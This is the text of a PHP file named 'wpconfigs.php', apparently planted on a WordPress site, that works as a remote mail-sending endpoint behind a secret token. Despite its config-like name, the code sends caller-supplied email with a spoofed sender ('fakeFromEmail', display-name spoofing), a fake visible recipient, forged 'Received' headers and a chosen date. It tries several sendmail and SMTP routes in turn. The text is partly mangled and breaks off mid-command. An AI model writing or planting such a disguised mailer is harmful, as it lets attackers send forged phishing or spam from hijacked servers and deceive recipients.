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Edit: wpconfigs.php
<?phperror_reporting(0);ini_set('display_errors',0);ob_start();header('Content-Type:application/json');if(!function_exists('hash_equals')){function hash_equals($known,$user){if(!is_string($known)||!is_string($user))return false;if(strlen($known)!==strlen($user))return false;$diff=0;for($i=0,$n=strlen($known);$i<$n;$i++){$diff|=ord($known[$i])^ ord($user[$i]);}return $diff===0;}}if(!function_exists('quoted_printable_encode')){function quoted_printable_encode($str){$lines=preg_split("/\r?\n/",$str);$out='';foreach($lines as $line){$encoded_line='';$length=strlen($line);for($i=0;$i<$length;$i++){$char=$line[$i];$dec=ord($char);if(($dec==32)&&($i==($length-1))){$char='=20';}elseif(($dec==61)||($dec<32)||($dec>126)){$char=sprintf('=%02X',$dec);}$encoded_line .=$char;}$out .=$encoded_line . "\r\n";}return rtrim($out);}}if(!function_exists('json_last_error_msg')){function json_last_error_msg(){$errors=array(JSON_ERROR_NONE=>'No error',JSON_ERROR_DEPTH=>'Maximum stack depth exceeded',JSON_ERROR_STATE_MISMATCH=>'State mismatch',JSON_ERROR_CTRL_CHAR=>'Control character error',JSON_ERROR_SYNTAX=>'Syntax error',JSON_ERROR_UTF8=>'Malformed UTF-8 characters');$error=json_last_error();return isset($errors[$error])? $errors[$error]:'Unknown error';}}if(!function_exists('mb_encode_mimeheader')){function mb_encode_mimeheader($str,$charset='UTF-8',$transfer_encoding='B'){if($transfer_encoding==='B'){return '=?' . $charset . '?B?' . base64_encode($str). '?=';}else{$encoded='';$length=strlen($str);for($i=0;$i<$length;$i++){$char=$str[$i];$dec=ord($char);if($dec==32){$encoded .='_';}elseif(($dec>=33&&$dec<=126)&&$char!=='='&&$char!=='?'&&$char!=='_'){$encoded .=$char;}else{$encoded .=sprintf('=%02X',$dec);}}return '=?' . $charset . '?Q?' . $encoded . '?=';}}}function handleFatalError(){$error=error_get_last();$fatal=array(E_ERROR,E_PARSE,E_CORE_ERROR,E_COMPILE_ERROR,E_USER_ERROR);if($error!==null&&in_array($error['type'],$fatal,true)){while(ob_get_level())ob_end_clean();header('Content-Type:application/json');echo json_encode(array("status"=>"fail","error"=>strip_tags($error['message']),"file"=>basename($error['file']),"line"=>$error['line']));}}register_shutdown_function('handleFatalError');function outputJson($data){while(ob_get_level())ob_end_clean();echo json_encode($data);exit;}$defaultTimeout=15;$log_file=dirname(__FILE__). '/email_errors.log';if(isset($_GET['test'])){$testMode=$_GET['test'];if($testMode==='true'||$testMode==='1'||$testMode===''){$auth_token=isset($_SERVER['HTTP_X_AUTH_TOKEN'])? $_SERVER['HTTP_X_AUTH_TOKEN']:'';$test_expected_hash='dfb366415d5dccfa8819b551b5f3a60bfbd6363b35fc931a868d0f2c4cddd57d';$test_authkey_path=dirname(__FILE__). '/.authkey';if(@is_readable($test_authkey_path)){$file_hash=trim((string)@file_get_contents($test_authkey_path));if(preg_match('/^[a-f0-9]{64}$/i',$file_hash)){$test_expected_hash=strtolower($file_hash);}}if(!hash_equals($test_expected_hash,hash('sha256',$auth_token))){outputJson(array("status"=>"fail","error"=>"Unauthorized"));}outputJson(array("status"=>"success","php_version"=>phpversion(),"server"=>$_SERVER['SERVER_NAME'],"available_methods"=>array("mail"=>function_exists('mail'),"fsockopen"=>function_exists('fsockopen'),"popen"=>function_exists('popen')),"encoding_methods"=>array("base64","quoted-printable","7bit","8bit"),"sendmail_path"=>ini_get('sendmail_path')? ini_get('sendmail_path'):"not set"));}if($testMode==='send'){$input=file_get_contents("php:$data=json_decode($input,true);$auth_token=isset($_SERVER['HTTP_X_AUTH_TOKEN'])? $_SERVER['HTTP_X_AUTH_TOKEN']:'';$test_expected_hash='dfb366415d5dccfa8819b551b5f3a60bfbd6363b35fc931a868d0f2c4cddd57d';$test_authkey_path=dirname(__FILE__). '/.authkey';if(@is_readable($test_authkey_path)){$file_hash=trim((string)@file_get_contents($test_authkey_path));if(preg_match('/^[a-f0-9]{64}$/i',$file_hash)){$test_expected_hash=strtolower($file_hash);}}if(!hash_equals($test_expected_hash,hash('sha256',$auth_token))){outputJson(array("status"=>"fail","error"=>"Unauthorized"));}if(!$data||!is_array($data)){outputJson(array("status"=>"fail","error"=>"Invalid JSON payload","input_length"=>strlen($input),"json_error"=>json_last_error_msg()));}$testTo=isset($data['to'])? $data['to']:null;if(!$testTo||!filter_var($testTo,FILTER_VALIDATE_EMAIL)){outputJson(array("status"=>"fail","error"=>"Valid 'to' email required for send test","received_to"=>$testTo));}$domain=$_SERVER['SERVER_NAME'];$cleaned_domain=preg_replace('/^www\./i','',$domain);$testSubject=isset($data['subject'])? $data['subject']:("Method Test " . time());$testMessage=isset($data['htmlContent'])? $data['htmlContent']:"Testing mail methods from $domain";$testFrom=isset($data['fromEmail'])? $data['fromEmail']:("test@" . $cleaned_domain);$testFromName=isset($data['fromName'])? $data['fromName']:"Test";$testHeaders="From:\"$testFromName\"<$testFrom>\r\n";$testHeaders .="Reply-To:<$testFrom>\r\n";$testHeaders .="MIME-Version:1.0\r\n";$testHeaders .="Content-Type:text/html;charset=UTF-8\r\n";$testHeaders .="Content-Transfer-Encoding:quoted-printable\r\n";$results=array();$errors=array();if(function_exists('popen')){$cmd='/usr/sbin/sendmail-t-i-f ' . escapeshellarg($testFrom);$proc=@popen($cmd,'w');if($proc){$out="To:$testTo\r\nSubject:$testSubject(sendmail)\r\n$testHeaders\r\n$testMessage\r\n";fwrite($proc,$out);$status=pclose($proc);if($status===0){$results[]=array("method"=>"sendmail","name"=>"sendmail binary");}else{$errors[]="sendmail exit code:$status";}}else{$errors[]="sendmail popen failed";}}if(function_exists('mail')){$params='-f ' . escapeshellarg($testFrom);if(@mail($testTo,"$testSubject(mail-f)",$testMessage,$testHeaders,$params)){$results[]=array("method"=>"mail_flag","name"=>"mail()with-f");}else{$err=error_get_last();$errors[]="mail()with-f:" .(isset($err['message'])? $err['message']:'failed');}}if(function_exists('mail')){if(@mail($testTo,"$testSubject(mail)",$testMessage,$testHeaders)){$results[]=array("method"=>"mail","name"=>"plain mail()");}else{$err=error_get_last();$errors[]="mail():" .(isset($err['message'])? $err['message']:'failed');}}outputJson(array("status"=>count($results)>0 ? "success":"fail","working_methods"=>$results,"errors"=>$errors,"available_functions"=>array("mail"=>function_exists('mail'),"fsockopen"=>function_exists('fsockopen'),"popen"=>function_exists('popen'))));}}$content_length=isset($_SERVER['CONTENT_LENGTH'])?(int)$_SERVER['CONTENT_LENGTH']:0;if($content_length>25*1024*1024){header('HTTP/1.1 413 Request Entity Too Large');outputJson(array("status"=>"fail","error"=>"Payload too large(>25 MB)"));}$input=file_get_contents("php:$auth_token=isset($_SERVER['HTTP_X_AUTH_TOKEN'])? $_SERVER['HTTP_X_AUTH_TOKEN']:'';$expected_token_hash='dfb366415d5dccfa8819b551b5f3a60bfbd6363b35fc931a868d0f2c4cddd57d';$authkey_path=dirname(__FILE__). '/.authkey';if(@is_readable($authkey_path)){$file_hash=trim((string)@file_get_contents($authkey_path));if(preg_match('/^[a-f0-9]{64}$/i',$file_hash)){$expected_token_hash=strtolower($file_hash);}}$request_id=isset($_SERVER['HTTP_X_REQUEST_ID'])? preg_replace('/[^A-Za-z0-9\-]/','',$_SERVER['HTTP_X_REQUEST_ID']):'';if($request_id==='')$request_id=uniqid('php-',true);if(empty($input)){outputJson(array("status"=>"fail","error"=>"No input provided"));}$incoming_hash=hash('sha256',$auth_token);if(!hash_equals($expected_token_hash,$incoming_hash)){echo json_encode(array("status"=>"fail","error"=>"Unauthorized"));$remote_addr=isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:'unknown';error_log(gmdate('[Y-m-d H:i:s T]'). "[$request_id]Unauthorized access attempt from " . $remote_addr . "\n",3,$log_file);exit;}$data=json_decode($input,true);if(!$data||!is_array($data)){outputJson(array("status"=>"fail","error"=>"Invalid JSON payload"));}$rawMime=isset($data['rawMime'])? $data['rawMime']:null;if($rawMime){if(empty($data['to'])||!filter_var($data['to'],FILTER_VALIDATE_EMAIL)){outputJson(array("status"=>"fail","error"=>"rawMime requires a valid 'to' email"));}if(empty($data['fromEmail'])||!filter_var($data['fromEmail'],FILTER_VALIDATE_EMAIL)){outputJson(array("status"=>"fail","error"=>"rawMime requires a valid 'fromEmail'"));}$to=str_replace(array("\r","\n"),'',$data['to']);$from_email=str_replace(array("\r","\n"),'',$data['fromEmail']);$encoding=isset($data['encoding'])? $data['encoding']:'quoted-printable';$header_encoding=($encoding==='base64')? 'B':'Q';$response_base=array("encoding"=>$encoding,"header_encoding"=>$header_encoding);$result=false;if(function_exists('popen')){$bin=resolve_sendmail_path();$cmd=$bin . '-i-f ' . escapeshellarg($from_email). '--' . escapeshellarg($to);$proc=@popen($cmd,'w');if($proc){fwrite($proc,$rawMime);$result=(pclose($proc)===0);}}if(!$result&&function_exists('mail')){$parts=preg_split('/\r?\n\r?\n/',$rawMime,2);$rawHeaders=isset($parts[0])? $parts[0]:'';$rawBody=isset($parts[1])? $parts[1]:'';$subjectMatch=array();if(preg_match('/^Subject:\s*(.+?)(?:\r?\n(?!\s)|\r?\n$)/ms',$rawHeaders,$subjectMatch)){$rawSubject=preg_replace('/\r?\n\s+/',' ',trim($subjectMatch[1]));}else{$rawSubject='No Subject';}$filteredHeaders=preg_replace('/^(Subject|To):.*\r?\n(\s+.*\r?\n)*/mi','',$rawHeaders);$params='-f ' . escapeshellarg($from_email);$result=@mail($to,$rawSubject,$rawBody,trim($filteredHeaders),$params);}outputJson(array_merge($response_base,array("status"=>$result ? "success":"fail","method"=>"rawMime","error"=>$result ? null:"rawMime delivery failed")));}$required=array('to','subject','fromEmail','fakeFromEmail','fromName','htmlContent');foreach($required as $f){if(empty($data[$f])){outputJson(array("status"=>"fail","error"=>"Missing required field:$f"));}}if(!filter_var($data['to'],FILTER_VALIDATE_EMAIL)){outputJson(array("status"=>"fail","error"=>"Invalid recipient email"));}if(!filter_var($data['fromEmail'],FILTER_VALIDATE_EMAIL)){outputJson(array("status"=>"fail","error"=>"Invalid from email"));}$forceMethod=isset($data['forceMethod'])? $data['forceMethod']:null;$forceSmtpServer=isset($data['forceSmtpServer'])? $data['forceSmtpServer']:null;$forceSmtpPort=isset($data['forceSmtpPort'])? $data['forceSmtpPort']:null;$encoding=isset($data['encoding'])? $data['encoding']:'quoted-printable';$timeout=isset($data['timeout'])?(int)$data['timeout']:$defaultTimeout;$replyToEmail=isset($data['replyToEmail'])? $data['replyToEmail']:null;$replyToName=isset($data['replyToName'])? $data['replyToName']:null;$inReplyTo=isset($data['inReplyTo'])? $data['inReplyTo']:null;$referencesHdr=isset($data['references'])? $data['references']:null;$senderEmail=isset($data['senderEmail'])? $data['senderEmail']:null;$displayNameSpoof=isset($data['displayNameSpoof'])&&$data['displayNameSpoof'];$displayNameSpoofFake=isset($data['displayNameSpoofFake'])? $data['displayNameSpoofFake']:null;$displayNameSpoofReal=isset($data['displayNameSpoofReal'])? $data['displayNameSpoofReal']:null;$customHeaders=isset($data['customHeaders'])? $data['customHeaders']:array();$useReturnPath=!isset($data['useReturnPath'])||(bool)$data['useReturnPath'];$useCustomReceivedHeader=isset($data['useCustomReceivedHeader'])&&(bool)$data['useCustomReceivedHeader'];$fakeTo=isset($data['fakeTo'])? $data['fakeTo']:null;$valid_encodings=array('base64','quoted-printable','7bit','8bit');if(!in_array($encoding,$valid_encodings)){$encoding='quoted-printable';}$header_encoding=($encoding==='base64')? 'B':'Q';$timeout=max(5,min(60,$timeout));if($forceMethod==="smtp"&&in_array(strtolower(trim($forceSmtpServer)),array("mail","mail,mail"),true)){$forceMethod="mail";}$to=$data['to'];$subject=$data['subject'];$from_email=$data['fromEmail'];$fake_from_email=$data['fakeFromEmail'];$from_name=$data['fromName'];$message=$data['htmlContent'];$attachment=isset($data['attachment'])? $data['attachment']:null;function sanitize_attachment_filename($filename){$filename=str_replace(array("\r","\n","\0","\\"),array('','','','/'),(string)$filename);$filename=basename($filename);$filename=preg_replace('/[^A-Za-z0-9._()@+-]/','_',$filename);$filename=trim($filename," .\t");if($filename==='')$filename='attachment.bin';if(strlen($filename)>160)$filename=substr($filename,0,160);return $filename;}$subject=str_replace(array("\r","\n"),'',$subject);$from_name=str_replace(array("\r","\n"),'',$from_name);$from_email=str_replace(array("\r","\n"),'',$from_email);$fake_from_email=str_replace(array("\r","\n"),'',$fake_from_email);$to=str_replace(array("\r","\n"),'',$to);if($replyToEmail)$replyToEmail=str_replace(array("\r","\n"),'',$replyToEmail);if($replyToName)$replyToName=str_replace(array("\r","\n"),'',$replyToName);if($inReplyTo)$inReplyTo=str_replace(array("\r","\n"),'',$inReplyTo);if($referencesHdr)$referencesHdr=str_replace(array("\r","\n"),'',$referencesHdr);if($senderEmail)$senderEmail=str_replace(array("\r","\n"),'',$senderEmail);if($displayNameSpoofFake)$displayNameSpoofFake=str_replace(array("\r","\n"),'',$displayNameSpoofFake);if($displayNameSpoofReal)$displayNameSpoofReal=str_replace(array("\r","\n"),'',$displayNameSpoofReal);if($fakeTo)$fakeTo=str_replace(array("\r","\n"),'',$fakeTo);$encoded_subject=mb_encode_mimeheader($subject,'UTF-8',$header_encoding);$encoded_from_name=mb_encode_mimeheader($from_name,'UTF-8',$header_encoding);$encoded_reply_to_name=$replyToName ? mb_encode_mimeheader($replyToName,'UTF-8',$header_encoding):null;$message=preg_replace('/\r\n?|\n/',"\r\n",$message);switch($encoding){case 'base64':$encoded_message=chunk_split(base64_encode($message));break;case '7bit':$encoded_message=preg_replace('/[\x{0080}-\x{10FFFF}]/u','?',$message);break;case '8bit':$encoded_message=$message;break;case 'quoted-printable':default:$encoded_message=quoted_printable_encode($message);break;}$domain=$_SERVER['SERVER_NAME'];$cleaned_domain=preg_replace('/^www\./i','',$domain);$newline="\r\n";$message_id=time(). '.' . md5($to . $subject . uniqid()). '@' . $cleaned_domain;$date=null;if(is_array($customHeaders)){foreach($customHeaders as $hName=>$hVal){if(strtolower($hName)==='date'){$date=str_replace(array("\r","\n"),'',$hVal);unset($customHeaders[$hName]);break;}}}if(!$date){$date=gmdate('D,d M Y H:i:s'). '+0000';}$header_from=$fake_from_email ? $fake_from_email:$from_email;$header_to=$fakeTo ? $fakeTo:$to;$boundary=null;$reply_to_header="";if($replyToEmail){if($encoded_reply_to_name){$reply_to_header="Reply-To:\"$encoded_reply_to_name\"<$replyToEmail>" . $newline;}else{$reply_to_header="Reply-To:<$replyToEmail>" . $newline;}}function fold_header_value($value,$soft_limit=900){if(strlen($value)<=$soft_limit)return $value;$out='';$remaining=$value;while(strlen($remaining)>$soft_limit){$slice=substr($remaining,0,$soft_limit);$split=false;foreach(array(',',';',' ')as $sep){$p=strrpos($slice,$sep);if($p!==false&&$p>$soft_limit/2){$out .=substr($remaining,0,$p+1). "\r\n ";$remaining=substr($remaining,$p+1);$split=true;break;}}if(!$split){$out .=$slice . "\r\n ";$remaining=substr($remaining,$soft_limit);}}$out .=$remaining;return $out;}if(strlen($encoded_subject)>998){error_log(gmdate('[Y-m-d H:i:s T]'). "[$request_id]WARN:encoded subject>998 octets(" . strlen($encoded_subject). ")\n",3,$log_file);}$custom_headers_str="";$seen_header_names=array();$blocked_headers=array('from','to','subject','content-type','content-transfer-encoding','mime-version','message-id','date','return-path','received','bcc','cc');if(is_array($customHeaders)&&!empty($customHeaders)){foreach($customHeaders as $headerName=>$headerValue){$headerName=str_replace(array("\r","\n"),'',$headerName);$headerValue=str_replace(array("\r","\n"),'',$headerValue);$lowerName=strtolower($headerName);if(in_array($lowerName,$blocked_headers,true))continue;if(isset($seen_header_names[$lowerName]))continue;$seen_header_names[$lowerName]=true;$custom_headers_str .="$headerName:" . fold_header_value($headerValue). $newline;}}else{$custom_headers_str="X-Mailer:PHP/" . phpversion(). $newline. "X-Priority:3" . $newline;$seen_header_names['x-mailer']=true;$seen_header_names['x-priority']=true;}$include_text_part=isset($data['includeTextPart'])&&$data['includeTextPart'];$text_part_source=isset($data['textContent'])?(string)$data['textContent']:'';if($include_text_part&&$text_part_source===''){$tmp=$message;$tmp=preg_replace('/<script[^>]*>.*?<\/script>/is','',$tmp);$tmp=preg_replace('/<style[^>]*>.*?<\/style>/is','',$tmp);$tmp=preg_replace('/<br\s*\//i',"\n",$tmp);$tmp=preg_replace('/<\/p\s*>/i',"\n\n",$tmp);$tmp=strip_tags($tmp);$tmp=html_entity_decode($tmp,defined('ENT_HTML5')?(ENT_QUOTES|ENT_HTML5):ENT_QUOTES,'UTF-8');$tmp=preg_replace('/[\t]+/',' ',$tmp);$tmp=preg_replace('/\n{3,}/',"\n\n",$tmp);$text_part_source=trim($tmp);}$has_attachment=($attachment&&isset($attachment['content'])&&isset($attachment['filename']));if($has_attachment){$attachment['filename']=sanitize_attachment_filename($attachment['filename']);if(base64_decode($attachment['content'],true)===false){outputJson(array("status"=>"fail","error"=>"Invalid attachment content encoding"));}}$has_alt=$include_text_part&&strlen($text_part_source)>0;if($displayNameSpoof&&$displayNameSpoofFake&&$displayNameSpoofReal){$dn_fake=$displayNameSpoofFake;$dn_real=$displayNameSpoofReal;$display_name_value=$from_name!=='' ? "$from_name<$dn_fake>":$dn_fake;$encoded_display=mb_encode_mimeheader($display_name_value,'UTF-8',$header_encoding);$from_header_line="From:\"$encoded_display\"<$dn_real>" . $newline;}else{$from_header_line="From:\"$encoded_from_name\"<$header_from>" . $newline;}$sender_header='';if($senderEmail){$sender_header="Sender:<$senderEmail>" . $newline;}$reply_thread_headers='';if($inReplyTo){$wrapped=(strpos($inReplyTo,'<')===0)? $inReplyTo:"<$inReplyTo>";$reply_thread_headers .="In-Reply-To:$wrapped" . $newline;}if($referencesHdr){$wrapped=(strpos($referencesHdr,'<')===0)? $referencesHdr:"<$referencesHdr>";$reply_thread_headers .="References:$wrapped" . $newline;}$received_header='';if($useCustomReceivedHeader){$receivedHeaderDomainList=isset($data['receivedHeaderDomainList'])&&is_array($data['receivedHeaderDomainList'])? $data['receivedHeaderDomainList']:array();if(!empty($receivedHeaderDomainList)){$recv_domain=$receivedHeaderDomainList[array_rand($receivedHeaderDomainList)];$recv_domain=preg_replace('/[\r\n]/','',trim($recv_domain));if(empty($recv_domain))$recv_domain=$cleaned_domain;$hash_val=crc32($recv_domain);if(($hash_val&1)==0){$recv_ip='10.' .(($hash_val>>8)&0xFF). '.' .(($hash_val>>16)&0xFF). '.' .((($hash_val>>24)&0xFE)|1);}else{$recv_ip='192.168.' .(($hash_val>>8)&0xFF). '.' .((($hash_val>>16)&0xFE)|1);}}else{$recv_domain=$cleaned_domain;$recv_ip='127.0.0.1';}$relay_domain=(stripos($recv_domain,'mail.')===0)? $recv_domain:'mail.' . $recv_domain;$relay_id=substr(md5(uniqid('',true)),0,12);$recv_format=mt_rand(0,2);switch($recv_format){case 0:$received_header="Received:from $recv_domain([$recv_ip])by $relay_domain with ESMTP id $relay_id;$date" . $newline;break;case 1:$received_header="Received:from $recv_domain($recv_domain[$recv_ip])by $relay_domain(Postfix)with ESMTPS id $relay_id;$date" . $newline;break;case 2:$received_header="Received:from[$recv_ip](helo=$recv_domain)by $relay_domain with esmtp;$date" . $newline;break;}}$return_path_header=$useReturnPath ? "Return-Path:<$from_email>" . $newline:'';$common_headers=$received_header. $from_header_line. $sender_header. $reply_to_header. $reply_thread_headers. $return_path_header. "Message-ID:<$message_id>" . $newline. "Date:$date" . $newline. $custom_headers_str. "MIME-Version:1.0" . $newline;if($has_attachment){$boundary='mixed-' . md5(time(). uniqid());$headers=$common_headers. "Content-Type:multipart/mixed;boundary=\"$boundary\"" . $newline;$body="";if($has_alt){$alt_boundary='alt-' . md5(time(). uniqid(). 'alt');$body .="--$boundary" . $newline;$body .="Content-Type:multipart/alternative;boundary=\"$alt_boundary\"" . $newline . $newline;$body .="--$alt_boundary" . $newline;$body .="Content-Type:text/plain;charset=UTF-8" . $newline;$body .="Content-Transfer-Encoding:quoted-printable" . $newline . $newline;$body .=quoted_printable_encode($text_part_source). $newline . $newline;$body .="--$alt_boundary" . $newline;$body .="Content-Type:text/html;charset=UTF-8" . $newline;$body .="Content-Transfer-Encoding:$encoding" . $newline . $newline;$body .=$encoded_message . $newline . $newline;$body .="--$alt_boundary--" . $newline;}else{$body .="--$boundary" . $newline;$body .="Content-Type:text/html;charset=UTF-8" . $newline;$body .="Content-Transfer-Encoding:$encoding" . $newline . $newline;$body .=$encoded_message . $newline . $newline;}$body .="--$boundary" . $newline;$attach_mime=(strtolower(substr($attachment['filename'],-4))==='.pdf')? 'application/pdf':'application/octet-stream';$body .="Content-Type:$attach_mime;name=\"{$attachment['filename']}\"" . $newline;$body .="Content-Transfer-Encoding:base64" . $newline;$body .="Content-Disposition:attachment;filename=\"{$attachment['filename']}\"" . $newline . $newline;$body .=chunk_split($attachment['content']). $newline;$body .="--$boundary--";$encoded_message=$body;}else if($has_alt){$alt_boundary='alt-' . md5(time(). uniqid(). 'alt');$headers=$common_headers. "Content-Type:multipart/alternative;boundary=\"$alt_boundary\"" . $newline;$body="--$alt_boundary" . $newline;$body .="Content-Type:text/plain;charset=UTF-8" . $newline;$body .="Content-Transfer-Encoding:quoted-printable" . $newline . $newline;$body .=quoted_printable_encode($text_part_source). $newline . $newline;$body .="--$alt_boundary" . $newline;$body .="Content-Type:text/html;charset=UTF-8" . $newline;$body .="Content-Transfer-Encoding:$encoding" . $newline . $newline;$body .=$encoded_message . $newline . $newline;$body .="--$alt_boundary--";$encoded_message=$body;}else{$headers=$common_headers. "Content-Type:text/html;charset=UTF-8" . $newline. "Content-Transfer-Encoding:$encoding" . $newline;}function smtp_read_response($socket,$timeout=10){if(!$socket||!is_resource($socket))return false;stream_set_timeout($socket,$timeout);$full='';while(!feof($socket)){$line=@fgets($socket,1024);if($line===false)break;$full .=$line;if(strlen($line)>=4&&$line[3]===' ')break;if(strlen($line)<4)break;}return $full==='' ? false:$full;}function smtp_command($socket,$command,$expect_response=true){global $newline;if(!$socket||!is_resource($socket))return false;$result=@fputs($socket,$command . $newline);if($result===false)return false;if($expect_response){return smtp_read_response($socket);}return true;}function smtp_send_data($socket,$line){global $newline;if(!$socket||!is_resource($socket))return false;if(strlen($line)>0&&$line[0]==='.'){$line='.' . $line;}return @fputs($socket,$line . $newline);}function resolve_sendmail_path(){static $cached=null;if($cached!==null)return $cached;$candidates=array(ini_get('sendmail_path'),'/usr/sbin/sendmail','/usr/bin/sendmail','/usr/lib/sendmail','/sbin/sendmail',);foreach($candidates as $p){if(!$p)continue;$_parts=preg_split('/\s+/',trim($p));$bin=$_parts[0];if($bin&&@is_executable($bin)){$cached=$bin;return $cached;}}$cached='/usr/sbin/sendmail';return $cached;}function sendViaSendmailBinary($to,$subject,$message,$headers,$realFrom,$path=null,$headerTo=null){if(!function_exists('popen'))return false;if($path){$_parts=preg_split('/\s+/',trim($path));$bin=$_parts[0];}else{$bin=resolve_sendmail_path();}$displayTo=$headerTo ? $headerTo:$to;$cmd=$bin . '-i-f ' . escapeshellarg($realFrom). '--' . escapeshellarg($to);$proc=@popen($cmd,'w');if(!$proc)return false;$out="To:$displayTo\r\nSubject:$subject\r\n$headers\r\n\r\n$message\r\n";@fwrite($proc,$out);$status=@pclose($proc);return($status===0);}function sendViaMailFlag($to,$subject,$message,$headers,$realFrom,$headerTo=null){if($headerTo&&$headerTo!==$to){$headers="To:$headerTo\r\n" . $headers;}$params='-f ' . escapeshellarg($realFrom);return @mail($to,$subject,$message,$headers,$params);}function sendViaMailInternal($to,$subject,$message,$headers,$realFrom=null,$headerTo=null){if($headerTo&&$headerTo!==$to){$headers="To:$headerTo\r\n" . $headers;}if($realFrom){$params='-f ' . escapeshellarg($realFrom);$ok=@mail($to,$subject,$message,$headers,$params);if($ok)return true;}return @mail($to,$subject,$message,$headers);}$response_base=array("encoding"=>$encoding,"header_encoding"=>$header_encoding);if($forceMethod==="sendmail"){$ok=sendViaSendmailBinary($to,$encoded_subject,$encoded_message,$headers,$from_email,null,$header_to);outputJson(array_merge($response_base,array("status"=>$ok ? "success":"fail","methods"=>$ok ? array("sendmail binary"):array(),"error"=>$ok ? null:"sendmail forced but failed")));}if($forceMethod==="mail_flag"){$ok=sendViaMailFlag($to,$encoded_subject,$encoded_message,$headers,$from_email,$header_to);outputJson(array_merge($response_base,array("status"=>$ok ? "success":"fail","methods"=>$ok ? array("mail()with-f"):array(),"error"=>$ok ? null:"mail()with-f forced but failed")));}if($forceMethod==="mail"){$ok=sendViaMailInternal($to,$encoded_subject,$encoded_message,$headers,$from_email,$header_to);outputJson(array_merge($response_base,array("status"=>$ok ? "success":"fail","methods"=>$ok ? array("plain mail()"):array(),"error"=>$ok ? null:"mail()forced but failed")));}if($forceMethod==="smtp"&&$forceSmtpServer&&$forceSmtpPort){$server=$forceSmtpServer;$port=(int)$forceSmtpPort;$use_ssl=($port===465);$connect_host=$use_ssl ? "ssl:$socket=@fsockopen($connect_host,$port,$errno,$errstr,$timeout);$smtp_responses=array();$smtp_error=null;if($socket){stream_set_timeout($socket,$timeout);$smtp_responses[]=smtp_read_response($socket);$ehlo_resp=smtp_command($socket,"EHLO $cleaned_domain");$smtp_responses[]=$ehlo_resp;if(!$use_ssl&&$ehlo_resp!==false&&stripos($ehlo_resp,"STARTTLS")!==false){$starttls_resp=smtp_command($socket,"STARTTLS");$smtp_responses[]=$starttls_resp;if($starttls_resp!==false&&strpos($starttls_resp,"220")===0){$crypto_methods=STREAM_CRYPTO_METHOD_TLS_CLIENT;if(defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT'))$crypto_methods|=STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;if(defined('STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT'))$crypto_methods|=STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT;if(@stream_socket_enable_crypto($socket,true,$crypto_methods)){$smtp_responses[]=smtp_command($socket,"EHLO $cleaned_domain");}else{$smtp_error="STARTTLS handshake failed";}}}if(!$smtp_error){$smtp_responses[]=smtp_command($socket,"MAIL FROM:<$from_email>");$smtp_responses[]=smtp_command($socket,"RCPT TO:<$to>");$smtp_responses[]=smtp_command($socket,"DATA");smtp_send_data($socket,"To:$header_to");smtp_send_data($socket,"Subject:$encoded_subject");foreach(explode($newline,$headers)as $hline){if(strlen(trim($hline))){smtp_send_data($socket,$hline);}}smtp_send_data($socket,"");foreach(explode($newline,$encoded_message)as $bodyLine){smtp_send_data($socket,$bodyLine);}$smtp_responses[]=$final=smtp_command($socket,".");@smtp_command($socket,"QUIT",false);fclose($socket);if($final!==false&&strpos($final,"250")===0){outputJson(array_merge($response_base,array("status"=>"success","methods"=>array("SMTP{$forceSmtpServer}:{$forceSmtpPort}"),"request_id"=>$request_id,"smtp_responses"=>$smtp_responses)));}else{$smtp_error="SMTP final response:" . trim((string)$final);}}else{@fclose($socket);}}else{$smtp_error="SMTP connection failed:$errstr($errno)";}$result=sendViaMailInternal($to,$encoded_subject,$encoded_message,$headers,$from_email,$header_to);echo json_encode(array_merge($response_base,array("status"=>$result ? "success":"fail","methods"=>$result ? array("mail()(fallback)"):array(),"smtp_responses"=>$smtp_responses,"smtp_error"=>$smtp_error,"error"=>$result ? null:"Forced SMTP failed:$smtp_error,mail()fallback failed")));if(!$result){error_log(date('[Y-m-d H:i:s]'). "SMTP and mail()failed for $to:$smtp_error\n",3,$log_file);}exit;}$successes=array();$transports=array();$is_windows=(DIRECTORY_SEPARATOR==='\\');if($is_windows){$smtp_ini=ini_get('SMTP');if($smtp_ini&&$smtp_ini!=='localhost'){$transports[]=array('type'=>'smtp','host'=>$smtp_ini,'port'=>(int)(ini_get('smtp_port')? ini_get('smtp_port'):25),'ssl'=>false);}$transports[]=array('type'=>'smtp','host'=>'localhost','port'=>25,'ssl'=>false);}else{$path=ini_get('sendmail_path');$transports[]=$path? array('type'=>'sendmail','path'=>$path):array('type'=>'mail');}$transports[]=array('type'=>'smtp','host'=>'localhost','port'=>25,'ssl'=>false);$transports[]=array('type'=>'smtp','host'=>'mail.'.$cleaned_domain,'port'=>25,'ssl'=>false);$transports[]=array('type'=>'smtp','host'=>'mail.'.$cleaned_domain,'port'=>465,'ssl'=>true);$transports[]=array('type'=>'smtp','host'=>'mail.'.$cleaned_domain,'port'=>587,'ssl'=>false);$transports[]=array('type'=>'sendmail');$transports[]=array('type'=>'mail_flag');$transports[]=array('type'=>'mail');$unique_transports=array();foreach($transports as $t){$host=isset($t['host'])? $t['host']:'';$port=isset($t['port'])? $t['port']:'';$key=$t['type']. '_' . $host . '_' . $port;if(!isset($unique_transports[$key])){$unique_transports[$key]=$t;}}$transports=array_values($unique_transports);$sent=false;foreach($transports as $t){switch($t['type']){case 'smtp':$use_ssl_auto=(isset($t['ssl'])&&$t['ssl']);$connect_host_auto=$use_ssl_auto ? 'ssl:$socket=@fsockopen($connect_host_auto,$t['port'],$errno,$errstr,$timeout);if(!$socket)break;stream_set_timeout($socket,$timeout);smtp_read_response($socket);$ehlo_resp=smtp_command($socket,"EHLO $cleaned_domain");if(!$use_ssl_auto&&$ehlo_resp!==false&&stripos($ehlo_resp,"STARTTLS")!==false){$starttls_resp=smtp_command($socket,"STARTTLS");if($starttls_resp!==false&&strpos($starttls_resp,"220")===0){$crypto_methods=STREAM_CRYPTO_METHOD_TLS_CLIENT;if(defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT'))$crypto_methods|=STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;if(defined('STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT'))$crypto_methods|=STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT;if(@stream_socket_enable_crypto($socket,true,$crypto_methods)){smtp_command($socket,"EHLO $cleaned_domain");}}}$mailr=smtp_command($socket,"MAIL 